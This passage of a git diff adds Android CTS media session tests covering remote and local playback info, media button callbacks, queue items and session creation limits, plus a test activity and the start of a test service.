+            // test setPlaybackToRemote, do this before testing setPlaybackToLocal
+            // to ensure it switches correctly.
+            mCallback.resetLocked();
+            try {
+                mSession.setPlaybackToRemote(null);
+                fail("Expected IAE for setPlaybackToRemote(null)");
+            } catch (IllegalArgumentException e) {
+                // expected
+            }
+            VolumeProvider vp = new VolumeProvider(VolumeProvider.VOLUME_CONTROL_FIXED,
+                    TEST_MAX_VOLUME, TEST_CURRENT_VOLUME, TEST_VOLUME_CONTROL_ID) {};
+            mSession.setPlaybackToRemote(vp);
+
+            MediaController.PlaybackInfo info = null;
+            for (int i = 0; i < MAX_AUDIO_INFO_CHANGED_CALLBACK_COUNT; ++i) {
+                mCallback.mOnAudioInfoChangedCalled = false;
+                mWaitLock.wait(TIME_OUT_MS);
+                assertTrue(mCallback.mOnAudioInfoChangedCalled);
+                info = mCallback.mPlaybackInfo;
+                if (info != null && info.getCurrentVolume() == TEST_CURRENT_VOLUME
+                        && info.getMaxVolume() == TEST_MAX_VOLUME
+                        && info.getVolumeControl() == VolumeProvider.VOLUME_CONTROL_FIXED
+                        && info.getPlaybackType()
+                                == MediaController.PlaybackInfo.PLAYBACK_TYPE_REMOTE
+                        && TextUtils.equals(info.getVolumeControlId(),TEST_VOLUME_CONTROL_ID)) {
+                    break;
+                }
+            }
+            assertNotNull(info);
+            assertEquals(MediaController.PlaybackInfo.PLAYBACK_TYPE_REMOTE, info.getPlaybackType());
+            assertEquals(TEST_MAX_VOLUME, info.getMaxVolume());
+            assertEquals(TEST_CURRENT_VOLUME, info.getCurrentVolume());
+            assertEquals(VolumeProvider.VOLUME_CONTROL_FIXED, info.getVolumeControl());
+            assertEquals(TEST_VOLUME_CONTROL_ID, info.getVolumeControlId());
+
+            info = controller.getPlaybackInfo();
+            assertNotNull(info);
+            assertEquals(MediaController.PlaybackInfo.PLAYBACK_TYPE_REMOTE, info.getPlaybackType());
+            assertEquals(TEST_MAX_VOLUME, info.getMaxVolume());
+            assertEquals(TEST_CURRENT_VOLUME, info.getCurrentVolume());
+            assertEquals(VolumeProvider.VOLUME_CONTROL_FIXED, info.getVolumeControl());
+            assertEquals(TEST_VOLUME_CONTROL_ID, info.getVolumeControlId());
+
+            // test setPlaybackToLocal
+            AudioAttributes attrs = new AudioAttributes.Builder().setUsage(USAGE_GAME).build();
+            mSession.setPlaybackToLocal(attrs);
+
+            info = controller.getPlaybackInfo();
+            assertNotNull(info);
+            assertEquals(MediaController.PlaybackInfo.PLAYBACK_TYPE_LOCAL, info.getPlaybackType());
+            assertEquals(attrs, info.getAudioAttributes());
+            assertNull(info.getVolumeControlId());
+        }
+    }
+
+    /**
+     * Test {@link MediaSession.Callback#onMediaButtonEvent}.
+     */
+    public void testCallbackOnMediaButtonEvent() throws Exception {
+        MediaSessionCallback sessionCallback = new MediaSessionCallback();
+        mSession.setCallback(sessionCallback, new Handler(Looper.getMainLooper()));
+        mSession.setFlags(MediaSession.FLAG_HANDLES_MEDIA_BUTTONS);
+        mSession.setActive(true);
+
+        // Set state to STATE_PLAYING to get higher priority.
+        setPlaybackState(PlaybackState.STATE_PLAYING);
+
+        // A media playback is also needed to receive media key events.
+        Utils.assertMediaPlaybackStarted(getContext());
+
+        sessionCallback.reset(1);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY);
+        assertTrue(sessionCallback.await(TIME_OUT_MS));
+        assertEquals(1, sessionCallback.mOnPlayCalledCount);
+        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
+
+        sessionCallback.reset(1);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PAUSE);
+        assertTrue(sessionCallback.await(TIME_OUT_MS));
+        assertTrue(sessionCallback.mOnPauseCalled);
+        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
+
+        sessionCallback.reset(1);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_NEXT);
+        assertTrue(sessionCallback.await(TIME_OUT_MS));
+        assertTrue(sessionCallback.mOnSkipToNextCalled);
+        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
+
+        sessionCallback.reset(1);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PREVIOUS);
+        assertTrue(sessionCallback.await(TIME_OUT_MS));
+        assertTrue(sessionCallback.mOnSkipToPreviousCalled);
+        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
+
+        sessionCallback.reset(1);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_STOP);
+        assertTrue(sessionCallback.await(TIME_OUT_MS));
+        assertTrue(sessionCallback.mOnStopCalled);
+        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
+
+        sessionCallback.reset(1);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_FAST_FORWARD);
+        assertTrue(sessionCallback.await(TIME_OUT_MS));
+        assertTrue(sessionCallback.mOnFastForwardCalled);
+        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
+
+        sessionCallback.reset(1);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_REWIND);
+        assertTrue(sessionCallback.await(TIME_OUT_MS));
+        assertTrue(sessionCallback.mOnRewindCalled);
+        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
+
+        // Test PLAY_PAUSE button twice.
+        // First, simulate PLAY_PAUSE button while in STATE_PAUSED.
+        sessionCallback.reset(1);
+        setPlaybackState(PlaybackState.STATE_PAUSED);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+        assertTrue(sessionCallback.await(TIME_OUT_MS));
+        assertEquals(1, sessionCallback.mOnPlayCalledCount);
+        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
+
+        // Next, simulate PLAY_PAUSE button while in STATE_PLAYING.
+        sessionCallback.reset(1);
+        setPlaybackState(PlaybackState.STATE_PLAYING);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+        assertTrue(sessionCallback.await(TIME_OUT_MS));
+        assertTrue(sessionCallback.mOnPauseCalled);
+        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
+
+        // Double tap of PLAY_PAUSE is the next track instead of changing PLAY/PAUSE.
+        sessionCallback.reset(2);
+        setPlaybackState(PlaybackState.STATE_PLAYING);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+        assertFalse(sessionCallback.await(WAIT_MS));
+        assertTrue(sessionCallback.mOnSkipToNextCalled);
+        assertEquals(0, sessionCallback.mOnPlayCalledCount);
+        assertFalse(sessionCallback.mOnPauseCalled);
+        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
+
+        // Test if PLAY_PAUSE double tap is considered as two single taps when another media
+        // key is pressed.
+        sessionCallback.reset(3);
+        setPlaybackState(PlaybackState.STATE_PAUSED);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_STOP);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+        assertTrue(sessionCallback.await(TIME_OUT_MS));
+        assertEquals(2, sessionCallback.mOnPlayCalledCount);
+        assertTrue(sessionCallback.mOnStopCalled);
+        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
+
+        // Test if media keys are handled in order.
+        sessionCallback.reset(2);
+        setPlaybackState(PlaybackState.STATE_PAUSED);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_STOP);
+        assertTrue(sessionCallback.await(TIME_OUT_MS));
+        assertEquals(1, sessionCallback.mOnPlayCalledCount);
+        assertTrue(sessionCallback.mOnStopCalled);
+        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
+        synchronized (mWaitLock) {
+            assertEquals(PlaybackState.STATE_STOPPED,
+                    mSession.getController().getPlaybackState().getState());
+        }
+    }
+
+    /**
+     * Tests {@link MediaSession#setCallback} with {@code null}. No callbacks will be called
+     * once {@code setCallback(null)} is done.
+     */
+    public void testSetCallbackWithNull() throws Exception {
+        MediaSessionCallback sessionCallback = new MediaSessionCallback();
+        mSession.setCallback(sessionCallback, mHandler);
+        mSession.setFlags(MediaSession.FLAG_HANDLES_TRANSPORT_CONTROLS);
+        mSession.setActive(true);
+
+        MediaController controller = mSession.getController();
+        setPlaybackState(PlaybackState.STATE_PLAYING);
+
+        sessionCallback.reset(1);
+        mSession.setCallback(null, mHandler);
+
+        controller.getTransportControls().pause();
+        assertFalse(sessionCallback.await(WAIT_MS));
+        assertFalse("Callback shouldn't be called.", sessionCallback.mOnPauseCalled);
+    }
+
+    private void setPlaybackState(int state) {
+        final long allActions = PlaybackState.ACTION_PLAY | PlaybackState.ACTION_PAUSE
+                | PlaybackState.ACTION_PLAY_PAUSE | PlaybackState.ACTION_STOP
+                | PlaybackState.ACTION_SKIP_TO_NEXT | PlaybackState.ACTION_SKIP_TO_PREVIOUS
+                | PlaybackState.ACTION_FAST_FORWARD | PlaybackState.ACTION_REWIND;
+        PlaybackState playbackState = new PlaybackState.Builder().setActions(allActions)
+                .setState(state, 0L, 0.0f).build();
+        synchronized (mWaitLock) {
+            mSession.setPlaybackState(playbackState);
+        }
+    }
+
+    /**
+     * Test {@link MediaSession#release} doesn't crash when multiple media sessions are in the app
+     * which receives the media key events.
+     * See: b/36669550
+     */
+    public void testReleaseNoCrashWithMultipleSessions() throws Exception {
+        // Start a media playback for this app to receive media key events.
+        Utils.assertMediaPlaybackStarted(getContext());
+
+        MediaSession anotherSession = null;
+        try {
+            anotherSession = new MediaSession(getContext(), TEST_SESSION_TAG);
+            mSession.release();
+            anotherSession.release();
+
+            // Try release with the different order.
+            mSession = new MediaSession(getContext(), TEST_SESSION_TAG);
+            anotherSession = new MediaSession(getContext(), TEST_SESSION_TAG);
+            anotherSession.release();
+            mSession.release();
+        } finally {
+            if (anotherSession != null) {
+                anotherSession.release();
+                anotherSession = null;
+            }
+        }
+    }
+
+    // This uses public APIs to dispatch key events, so sessions would consider this as
+    // 'media key event from this application'.
+    private void simulateMediaKeyInput(int keyCode) {
+        long downTime = System.currentTimeMillis();
+        mAudioManager.dispatchMediaKeyEvent(
+                new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN, keyCode, 0));
+        mAudioManager.dispatchMediaKeyEvent(
+                new KeyEvent(downTime, System.currentTimeMillis(), KeyEvent.ACTION_UP, keyCode, 0));
+    }
+
+    /**
+     * Tests {@link MediaSession.QueueItem}.
+     */
+    public void testQueueItem() {
+        MediaDescription.Builder descriptionBuilder = new MediaDescription.Builder()
+                .setMediaId("media-id")
+                .setTitle("title");
+
+        try {
+            new QueueItem(/*description=*/null, TEST_QUEUE_ID);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+        try {
+            new QueueItem(descriptionBuilder.build(), QueueItem.UNKNOWN_ID);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+
+        QueueItem item = new QueueItem(descriptionBuilder.build(), TEST_QUEUE_ID);
+
+        Parcel p = Parcel.obtain();
+        item.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        QueueItem other = QueueItem.CREATOR.createFromParcel(p);
+        assertEquals(item.toString(), other.toString());
+        p.recycle();
+
+        final int arraySize = 5;
+        QueueItem[] queueItemArray = QueueItem.CREATOR.newArray(arraySize);
+        assertNotNull(queueItemArray);
+        assertEquals(arraySize, queueItemArray.length);
+        for (QueueItem elem : queueItemArray) {
+            assertNull(elem);
+        }
+    }
+
+    public void testQueueItemEquals() {
+        MediaDescription.Builder descriptionBuilder = new MediaDescription.Builder()
+                .setMediaId("media-id")
+                .setTitle("title");
+
+        QueueItem item = new QueueItem(descriptionBuilder.build(), TEST_QUEUE_ID);
+        assertEquals(TEST_QUEUE_ID, item.getQueueId());
+        assertEquals("media-id", item.getDescription().getMediaId());
+        assertEquals("title", item.getDescription().getTitle());
+        assertEquals(0, item.describeContents());
+
+        assertFalse(item.equals(null));
+        assertFalse(item.equals(descriptionBuilder.build()));
+
+        QueueItem sameItem = new QueueItem(descriptionBuilder.build(), TEST_QUEUE_ID);
+        assertTrue(item.equals(sameItem));
+
+        QueueItem differentQueueId = new QueueItem(
+                descriptionBuilder.build(), TEST_QUEUE_ID + 1);
+        assertFalse(item.equals(differentQueueId));
+
+        QueueItem differentDescription = new QueueItem(
+                descriptionBuilder.setTitle("title2").build(), TEST_QUEUE_ID);
+        assertFalse(item.equals(differentDescription));
+    }
+
+    public void testSessionInfoWithFrameworkParcelable() {
+        final String testKey = "test_key";
+        final AudioAttributes frameworkParcelable = new AudioAttributes.Builder().build();
+
+        Bundle sessionInfo = new Bundle();
+        sessionInfo.putParcelable(testKey, frameworkParcelable);
+
+        MediaSession session = null;
+        try {
+            session = new MediaSession(
+                    mContext, "testSessionInfoWithFrameworkParcelable", sessionInfo);
+            Bundle sessionInfoOut = session.getController().getSessionInfo();
+            assertTrue(sessionInfoOut.containsKey(testKey));
+            assertEquals(frameworkParcelable, sessionInfoOut.getParcelable(testKey));
+        } finally {
+            if (session != null) {
+                session.release();
+            }
+        }
+
+    }
+
+    public void testSessionInfoWithCustomParcelable() {
+        final String testKey = "test_key";
+        final MediaSession2Test.CustomParcelable customParcelable =
+                new MediaSession2Test.CustomParcelable(1);
+
+        Bundle sessionInfo = new Bundle();
+        sessionInfo.putParcelable(testKey, customParcelable);
+
+        MediaSession session = null;
+        try {
+            session = new MediaSession(
+                    mContext, "testSessionInfoWithCustomParcelable", sessionInfo);
+            fail("Custom Parcelable shouldn't be accepted!");
+        } catch (IllegalArgumentException e) {
+            // Expected
+        } finally {
+            if (session != null) {
+                session.release();
+            }
+        }
+    }
+
+    /**
+     * An app should not be able to create too many sessions.
+     * See MediaSessionService#SESSION_CREATION_LIMIT_PER_UID
+     */
+    public void testSessionCreationLimit() {
+        List<MediaSession> sessions = new ArrayList<>();
+        try {
+            for (int i = 0; i < TEST_TOO_MANY_SESSION_COUNT; i++) {
+                sessions.add(new MediaSession(mContext, "testSessionCreationLimit"));
+            }
+            fail("The number of session should be limited!");
+        } catch (RuntimeException e) {
+            // Expected
+        } finally {
+            for (MediaSession session : sessions) {
+                session.release();
+            }
+        }
+    }
+
+    /**
+     * Check that calling {@link MediaSession#release()} multiple times for the same session
+     * does not decrement current session count multiple times.
+     */
+    public void testSessionCreationLimitWithMediaSessionRelease() {
+        List<MediaSession> sessions = new ArrayList<>();
+        MediaSession sessionToReleaseMultipleTimes = null;
+        try {
+            sessionToReleaseMultipleTimes = new MediaSession(
+                    mContext, "testSessionCreationLimitWithMediaSessionRelease");
+            for (int i = 0; i < TEST_TOO_MANY_SESSION_COUNT; i++) {
+                sessions.add(new MediaSession(
+                        mContext, "testSessionCreationLimitWithMediaSessionRelease"));
+                // Call release() many times with the same session.
+                sessionToReleaseMultipleTimes.release();
+            }
+            fail("The number of session should be limited!");
+        } catch (RuntimeException e) {
+            // Expected
+        } finally {
+            for (MediaSession session : sessions) {
+                session.release();
+            }
+            if (sessionToReleaseMultipleTimes != null) {
+                sessionToReleaseMultipleTimes.release();
+            }
+        }
+    }
+
+    /**
+     * Check that calling {@link MediaSession2#close()} does not decrement current session count.
+     */
+    public void testSessionCreationLimitWithMediaSession2Release() {
+        List<MediaSession> sessions = new ArrayList<>();
+        try {
+            for (int i = 0; i < 1000; i++) {
+                sessions.add(new MediaSession(
+                        mContext, "testSessionCreationLimitWithMediaSession2Release"));
+
+                try (MediaSession2 session2 = new MediaSession2.Builder(mContext).build()) {
+                    // Do nothing
+                }
+            }
+            fail("The number of session should be limited!");
+        } catch (RuntimeException e) {
+            // Expected
+        } finally {
+            for (MediaSession session : sessions) {
+                session.release();
+            }
+        }
+    }
+
+    /**
+     * Check that a series of {@link MediaSession#setQueue} does not break {@link MediaController}
+     * on the remote process due to binder buffer overflow.
+     */
+    public void testSeriesOfSetQueue() throws Exception {
+        int numberOfCalls = 100;
+        int queueSize = 1_000;
+        List<QueueItem> queue = new ArrayList<>();
+        for (int id = 0; id < queueSize; id++) {
+            MediaDescription description = new MediaDescription.Builder()
+                    .setMediaId(Integer.toString(id)).build();
+            queue.add(new QueueItem(description, id));
+        }
+
+        try (RemoteService.Invoker invoker = new RemoteService.Invoker(mContext,
+                MediaSessionTestService.class, TEST_SERIES_OF_SET_QUEUE)) {
+            Bundle args = new Bundle();
+            args.putParcelable(KEY_SESSION_TOKEN, mSession.getSessionToken());
+            args.putInt(KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS, numberOfCalls * queueSize);
+            invoker.run(STEP_SET_UP, args);
+            for (int i = 0; i < numberOfCalls; i++) {
+                mSession.setQueue(queue);
+            }
+            invoker.run(STEP_CHECK);
+            invoker.run(STEP_CLEAN_UP);
+        }
+    }
+
+    public void testSetQueueWithLargeNumberOfItems() throws Exception {
+        int queueSize = 500_000;
+        List<QueueItem> queue = new ArrayList<>();
+        for (int id = 0; id < queueSize; id++) {
+            MediaDescription description = new MediaDescription.Builder()
+                    .setMediaId(Integer.toString(id)).build();
+            queue.add(new QueueItem(description, id));
+        }
+
+        try (RemoteService.Invoker invoker = new RemoteService.Invoker(mContext,
+                MediaSessionTestService.class, TEST_SET_QUEUE)) {
+            Bundle args = new Bundle();
+            args.putParcelable(KEY_SESSION_TOKEN, mSession.getSessionToken());
+            args.putInt(KEY_EXPECTED_QUEUE_SIZE, queueSize);
+            invoker.run(STEP_SET_UP, args);
+            mSession.setQueue(queue);
+            invoker.run(STEP_CHECK);
+            invoker.run(STEP_CLEAN_UP);
+        }
+    }
+
+    public void testSetQueueWithEmptyQueue() throws Exception {
+        try (RemoteService.Invoker invoker = new RemoteService.Invoker(mContext,
+                MediaSessionTestService.class, TEST_SET_QUEUE)) {
+            Bundle args = new Bundle();
+            args.putParcelable(KEY_SESSION_TOKEN, mSession.getSessionToken());
+            args.putInt(KEY_EXPECTED_QUEUE_SIZE, 0);
+            invoker.run(STEP_SET_UP, args);
+            mSession.setQueue(Collections.emptyList());
+            invoker.run(STEP_CHECK);
+            invoker.run(STEP_CLEAN_UP);
+        }
+    }
+
+    /**
+     * Verifies that a new session hasn't had any configuration bits set yet.
+     *
+     * @param controller The controller for the session
+     */
+    private void verifyNewSession(MediaController controller) {
+        assertEquals("New session has unexpected configuration", 0L, controller.getFlags());
+        assertNull("New session has unexpected configuration", controller.getExtras());
+        assertNull("New session has unexpected configuration", controller.getMetadata());
+        assertEquals("New session has unexpected configuration",
+                getContext().getPackageName(), controller.getPackageName());
+        assertNull("New session has unexpected configuration", controller.getPlaybackState());
+        assertNull("New session has unexpected configuration", controller.getQueue());
+        assertNull("New session has unexpected configuration", controller.getQueueTitle());
+        assertEquals("New session has unexpected configuration", Rating.RATING_NONE,
+                controller.getRatingType());
+        assertNull("New session has unexpected configuration", controller.getSessionActivity());
+
+        assertNotNull(controller.getSessionToken());
+        assertNotNull(controller.getTransportControls());
+
+        MediaController.PlaybackInfo info = controller.getPlaybackInfo();
+        assertNotNull(info);
+        info.toString(); // Test that calling PlaybackInfo.toString() does not crash.
+        assertEquals(MediaController.PlaybackInfo.PLAYBACK_TYPE_LOCAL, info.getPlaybackType());
+        AudioAttributes attrs = info.getAudioAttributes();
+        assertNotNull(attrs);
+        assertEquals(AudioAttributes.USAGE_MEDIA, attrs.getUsage());
+        assertEquals(mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC),
+                info.getCurrentVolume());
+    }
+
+    private class MediaControllerCallback extends MediaController.Callback {
+        private volatile boolean mOnPlaybackStateChangedCalled;
+        private volatile boolean mOnMetadataChangedCalled;
+        private volatile boolean mOnQueueChangedCalled;
+        private volatile boolean mOnQueueTitleChangedCalled;
+        private volatile boolean mOnExtraChangedCalled;
+        private volatile boolean mOnAudioInfoChangedCalled;
+        private volatile boolean mOnSessionDestroyedCalled;
+        private volatile boolean mOnSessionEventCalled;
+
+        private volatile PlaybackState mPlaybackState;
+        private volatile MediaMetadata mMediaMetadata;
+        private volatile List<QueueItem> mQueue;
+        private volatile CharSequence mTitle;
+        private volatile String mEvent;
+        private volatile Bundle mExtras;
+        private volatile MediaController.PlaybackInfo mPlaybackInfo;
+
+        public void resetLocked() {
+            mOnPlaybackStateChangedCalled = false;
+            mOnMetadataChangedCalled = false;
+            mOnQueueChangedCalled = false;
+            mOnQueueTitleChangedCalled = false;
+            mOnExtraChangedCalled = false;
+            mOnAudioInfoChangedCalled = false;
+            mOnSessionDestroyedCalled = false;
+            mOnSessionEventCalled = false;
+
+            mPlaybackState = null;
+            mMediaMetadata = null;
+            mQueue = null;
+            mTitle = null;
+            mExtras = null;
+            mPlaybackInfo = null;
+        }
+
+        @Override
+        public void onPlaybackStateChanged(PlaybackState state) {
+            synchronized (mWaitLock) {
+                mOnPlaybackStateChangedCalled = true;
+                mPlaybackState = state;
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onMetadataChanged(MediaMetadata metadata) {
+            synchronized (mWaitLock) {
+                mOnMetadataChangedCalled = true;
+                mMediaMetadata = metadata;
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onQueueChanged(List<QueueItem> queue) {
+            synchronized (mWaitLock) {
+                mOnQueueChangedCalled = true;
+                mQueue = queue;
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onQueueTitleChanged(CharSequence title) {
+            synchronized (mWaitLock) {
+                mOnQueueTitleChangedCalled = true;
+                mTitle = title;
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onExtrasChanged(Bundle extras) {
+            synchronized (mWaitLock) {
+                mOnExtraChangedCalled = true;
+                mExtras = extras;
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onAudioInfoChanged(MediaController.PlaybackInfo info) {
+            synchronized (mWaitLock) {
+                mOnAudioInfoChangedCalled = true;
+                mPlaybackInfo = info;
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onSessionDestroyed() {
+            synchronized (mWaitLock) {
+                mOnSessionDestroyedCalled = true;
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onSessionEvent(String event, Bundle extras) {
+            synchronized (mWaitLock) {
+                mOnSessionEventCalled = true;
+                mEvent = event;
+                mExtras = (Bundle) extras.clone();
+                mWaitLock.notify();
+            }
+        }
+    }
+
+    private class MediaSessionCallback extends MediaSession.Callback {
+        private CountDownLatch mLatch;
+        private int mOnPlayCalledCount;
+        private boolean mOnPauseCalled;
+        private boolean mOnStopCalled;
+        private boolean mOnFastForwardCalled;
+        private boolean mOnRewindCalled;
+        private boolean mOnSkipToPreviousCalled;
+        private boolean mOnSkipToNextCalled;
+        private RemoteUserInfo mCallerInfo;
+
+        public void reset(int count) {
+            mLatch = new CountDownLatch(count);
+            mOnPlayCalledCount = 0;
+            mOnPauseCalled = false;
+            mOnStopCalled = false;
+            mOnFastForwardCalled = false;
+            mOnRewindCalled = false;
+            mOnSkipToPreviousCalled = false;
+            mOnSkipToNextCalled = false;
+        }
+
+        public boolean await(long waitMs) {
+            try {
+                return mLatch.await(waitMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
+
+        @Override
+        public void onPlay() {
+            mOnPlayCalledCount++;
+            mCallerInfo = mSession.getCurrentControllerInfo();
+            setPlaybackState(PlaybackState.STATE_PLAYING);
+            mLatch.countDown();
+        }
+
+        @Override
+        public void onPause() {
+            mOnPauseCalled = true;
+            mCallerInfo = mSession.getCurrentControllerInfo();
+            setPlaybackState(PlaybackState.STATE_PAUSED);
+            mLatch.countDown();
+        }
+
+        @Override
+        public void onStop() {
+            mOnStopCalled = true;
+            mCallerInfo = mSession.getCurrentControllerInfo();
+            setPlaybackState(PlaybackState.STATE_STOPPED);
+            mLatch.countDown();
+        }
+
+        @Override
+        public void onFastForward() {
+            mOnFastForwardCalled = true;
+            mCallerInfo = mSession.getCurrentControllerInfo();
+            mLatch.countDown();
+        }
+
+        @Override
+        public void onRewind() {
+            mOnRewindCalled = true;
+            mCallerInfo = mSession.getCurrentControllerInfo();
+            mLatch.countDown();
+        }
+
+        @Override
+        public void onSkipToPrevious() {
+            mOnSkipToPreviousCalled = true;
+            mCallerInfo = mSession.getCurrentControllerInfo();
+            mLatch.countDown();
+        }
+
+        @Override
+        public void onSkipToNext() {
+            mOnSkipToNextCalled = true;
+            mCallerInfo = mSession.getCurrentControllerInfo();
+            mLatch.countDown();
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaSessionTestActivity.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaSessionTestActivity.java
new file mode 100644
index 0000000..5967418
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaSessionTestActivity.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.media.misc.cts;
+
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.app.KeyguardManager;
+import android.content.Context;
+import android.media.session.MediaController;
+import android.media.session.MediaSession;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.WindowManager;
+
+/**
+ * Activity for testing foreground activity behavior with the
+ * {@link android.media.session.MediaSession}.
+ */
+public class MediaSessionTestActivity extends Activity {
+    public static final String KEY_SESSION_TOKEN = "KEY_SESSION_TOKEN";
+    private static final String TAG = "MediaSessionTestActivity";
+
+    private boolean mDeviceLocked;
+    private boolean mResumed;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        // Wake up device.
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+        setTurnScreenOn(true);
+
+        // Unlock device which is previously locked by power button press.
+        // This is required even when the screen lock is set to 'None'.
+        setShowWhenLocked(true);
+
+        KeyguardManager keyguardManager =
+                (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
+        // KeyguardManager can be null for the instant mode.
+        if (keyguardManager == null) {
+            Log.i(TAG, "Unable to get KeyguardManager. Probably in the instant mode.");
+        } else if (keyguardManager.isKeyguardLocked()) {
+            Log.i(TAG, "Device is locked. Try unlocking and bring activity foreground.");
+            mDeviceLocked = true;
+            // Note: CTS requires 'no lock pattern or password is set on the device'.
+            // However, try to dismiss keyguard for convenience.
+            keyguardManager.requestDismissKeyguard(this,
+                    new KeyguardManager.KeyguardDismissCallback() {
+                        @Override
+                        public void onDismissError() {
+                            finish();
+                        }
+
+                        @Override
+                        public void onDismissCancelled() {
+                            finish();
+                        }
+
+                        @Override
+                        public void onDismissSucceeded() {
+                            mDeviceLocked = false;
+                            setMediaControllerIfInForeground();
+                        }
+                    });
+        }
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        mResumed = true;
+        setMediaControllerIfInForeground();
+    }
+
+    @Override
+    protected void onPause() {
+        super.onPause();
+        mResumed = false;
+        setMediaController(null);
+    }
+
+    private void setMediaControllerIfInForeground() {
+        if (mDeviceLocked || !mResumed) {
+            return;
+        }
+        MediaSession.Token token = getIntent().getParcelableExtra(KEY_SESSION_TOKEN);
+        if (token != null) {
+            MediaController controller = new MediaController(this, token);
+            setMediaController(controller);
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaSessionTestService.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaSessionTestService.java
new file mode 100644
index 0000000..88ae926
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaSessionTestService.java
@@ -0,0 +1,139 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import static java.util.concurrent.TimeUnit.MILLISECONDS;
+
+import android.annotation.Nullable;
+import android.media.session.MediaController;
+import android.media.session.MediaSession;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.atomic.AtomicInteger;
+
+public class MediaSessionTestService extends RemoteService {
+    public static final int TEST_SERIES_OF_SET_QUEUE = 0;
+    public static final int TEST_SET_QUEUE = 1;
+
+    public static final int STEP_SET_UP = 0;
+    public static final int STEP_CHECK = 1;
+    public static final int STEP_CLEAN_UP = 2;
+
+    public static final String KEY_SESSION_TOKEN = "sessionToken";
